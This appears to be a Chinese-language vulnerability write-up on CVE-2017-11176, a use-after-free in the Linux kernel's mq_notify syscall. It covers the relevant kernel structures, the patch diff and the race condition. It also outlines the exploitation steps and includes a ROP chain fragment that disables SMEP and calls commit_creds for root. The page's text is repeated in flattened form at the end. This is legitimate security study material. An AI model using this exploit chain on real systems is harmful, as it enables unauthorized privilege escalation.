cve-2017-11176 利用分析+exp
字数 1142 2025-08-27 12:33:23

CVE-2017-11176 Linux内核漏洞分析与利用

漏洞概述

CVE-2017-11176是Linux内核中的一个use-after-free漏洞,存在于mq_notify系统调用中。该漏洞由于在错误处理路径中未正确置空sock指针,导致后续可能引用已释放的内存,从而可能被利用来提升权限。

环境准备

  • Linux内核版本:4.1.1
  • 调试工具:QEMU

相关内核结构

task_struct

struct task_struct {
    volatile long state;        // 进程状态
    void *stack;                // 任务堆栈指针
    int prio;                   // 进程优先级
    struct mm_struct *mm;       // 内存地址空间
    struct files_struct *files; // 打开文件信息
    const struct cred *cred;    // 凭证,保存uid等权限信息
    // ...
};

文件描述符相关结构

  1. fd:对于给定进程的整数描述符
  2. file对象(struct file):表示已打开的文件
struct file {
    loff_t f_pos;               // 文件位置指针
    atomic_long_t f_count;      // 引用计数器
    const struct file_operations *f_op; // 虚函数表指针
    void *private_data;         // 文件专用数据
    // ...
};
  1. fdt(struct fdtable):将fd映射到对应的filp
struct fdtable {
    unsigned int max_fds;
    struct file **fd;           // 当前fd数组
    // ...
};
  1. file_struct:将fdt链接到进程内部
struct files_struct {
    atomic_t count;             // 引用计数器
    struct fdtable *fdt;        // 指向文件描述符表的指针
    // ...
};

网络相关结构

  1. socket:网络栈顶层结构
struct socket {
    struct file *file;
    struct sock *sk;
    const struct proto_ops *ops;
    // ...
};
  1. sock:底层网络控制结构
struct sock {
    int sk_rcvbuf;              // 接收缓冲区理论最大值
    int sk_sndbuf;              // 发送缓冲区理论最大值
    atomic_t sk_rmem_alloc;     // 接收缓冲区当前大小
    atomic_t sk_wmem_alloc;     // 发送缓冲区当前大小
    struct sk_buff_head sk_receive_queue;  // 接收队列
    struct sk_buff_head sk_write_queue;     // 发送队列
    struct socket *sk_socket;
    // ...
};
  1. sk_buff(skb):网络数据包结构

Netlink Socket

Netlink是一种特殊socket,允许用户空间与内核通信。其专用结构:

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock sk;
    u32 pid;
    u32 dst_pid;
    u32 dst_group;
    // ...
};

漏洞分析

漏洞位置

漏洞存在于mq_notify系统调用中,具体在ipc/mqueue.c文件中。问题在于错误处理路径中未正确置空sock指针。

补丁对比:

diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

     timeo = MAX_SCHEDULE_TIMEOUT;
     ret = netlink_attachskb(sock, nc, &timeo, NULL);
-    if (ret == 1)
+    if (ret == 1) {
+       sock = NULL;
        goto retry;
+     }
     if (ret) {
        sock = NULL;
        nc = NULL;

漏洞触发流程

  1. mq_notify调用netlink_getsockbyfilp获取sock对象,增加引用计数
  2. 调用netlink_attachskb尝试附加skb到sock
    • 如果返回1,表示需要重试
    • 在重试路径中,如果文件描述符被关闭,会导致后续使用已释放的sock对象

引用计数问题

正常流程:

  • netlink_getsockbyfilp -> sock_hold(): sk->refcnt += 1
  • netlink_attachskb -> sock_put(): sk->refcnt -= 1

漏洞触发时:

  • 线程1进入重试路径
  • 线程2关闭文件描述符
  • 线程1继续使用已释放的sock对象

漏洞利用

利用步骤

  1. 触发漏洞条件

    • 使sk_rmem_alloc > sk_rcvbuf,让netlink_attachskb返回1
    • 通过多线程操作,在重试路径中关闭文件描述符
  2. 堆喷控制

    • 使用sendmsg系统调用分配kmalloc-1024对象
    • 伪造wait_queue_t结构控制程序流
  3. 权限提升

    • 构造ROP链执行commit_creds(prepare_kernel_cred(0))
    • 绕过SMEP/SMAP保护

关键利用代码

// 堆喷控制
struct u_wait_queue {
    unsigned int flag;
    long* pri;
    long* func;
    long* next;
    long* prev;
};

// 构造ROP链
size_t *p = ((unsigned int)&uwq)&0xffffffff;
size_t *ptmp = p-0x20;
mmap(ptmp, 0x200, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = 0x6f0;              // CR4值
p[r++] = 0xffffffff810031bd; // mov cr4, rdi ; pop rbp ; ret
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff8100abde; // pop rax ; ret
p[r++] = 0;
p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = 0;
p[r++] = 0xffffffff810a1a60; // prepare_kernel_cred
p[r++] = 0xffffffff8133ff34; // mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
p[r++] = 0;
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff810a1720; // commit_creds
p[r++] = 0xffffffff81063d54; // swapgs ; pop rbp ; ret
p[r++] = p+0x100;
p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = getshell;
p[r++] = 0xffffffff818410c7; // iretd ; call rdi

防御措施

  1. 应用官方补丁
  2. 启用KASLR、SMEP、SMAP等内核保护机制
  3. 限制用户命名空间等特权操作

参考链接

  1. Lexfo博客详细分析
  2. Seebug Paper中文分析
CVE-2017-11176 Linux内核漏洞分析与利用 漏洞概述 CVE-2017-11176是Linux内核中的一个use-after-free漏洞,存在于mq_ notify系统调用中。该漏洞由于在错误处理路径中未正确置空sock指针,导致后续可能引用已释放的内存,从而可能被利用来提升权限。 环境准备 Linux内核版本:4.1.1 调试工具:QEMU 相关内核结构 task_ struct 文件描述符相关结构 fd :对于给定进程的整数描述符 file对象(struct file) :表示已打开的文件 fdt(struct fdtable) :将fd映射到对应的filp file_ struct :将fdt链接到进程内部 网络相关结构 socket :网络栈顶层结构 sock :底层网络控制结构 sk_ buff(skb) :网络数据包结构 Netlink Socket Netlink是一种特殊socket,允许用户空间与内核通信。其专用结构: 漏洞分析 漏洞位置 漏洞存在于 mq_notify 系统调用中,具体在 ipc/mqueue.c 文件中。问题在于错误处理路径中未正确置空sock指针。 补丁对比: 漏洞触发流程 mq_notify 调用 netlink_getsockbyfilp 获取sock对象,增加引用计数 调用 netlink_attachskb 尝试附加skb到sock 如果返回1,表示需要重试 在重试路径中,如果文件描述符被关闭,会导致后续使用已释放的sock对象 引用计数问题 正常流程: netlink_getsockbyfilp -> sock_hold() : sk->refcnt += 1 netlink_attachskb -> sock_put() : sk->refcnt -= 1 漏洞触发时: 线程1进入重试路径 线程2关闭文件描述符 线程1继续使用已释放的sock对象 漏洞利用 利用步骤 触发漏洞条件 : 使 sk_rmem_alloc > sk_rcvbuf ,让 netlink_attachskb 返回1 通过多线程操作,在重试路径中关闭文件描述符 堆喷控制 : 使用 sendmsg 系统调用分配kmalloc-1024对象 伪造 wait_queue_t 结构控制程序流 权限提升 : 构造ROP链执行 commit_creds(prepare_kernel_cred(0)) 绕过SMEP/SMAP保护 关键利用代码 防御措施 应用官方补丁 启用KASLR、SMEP、SMAP等内核保护机制 限制用户命名空间等特权操作 参考链接 Lexfo博客详细分析 Seebug Paper中文分析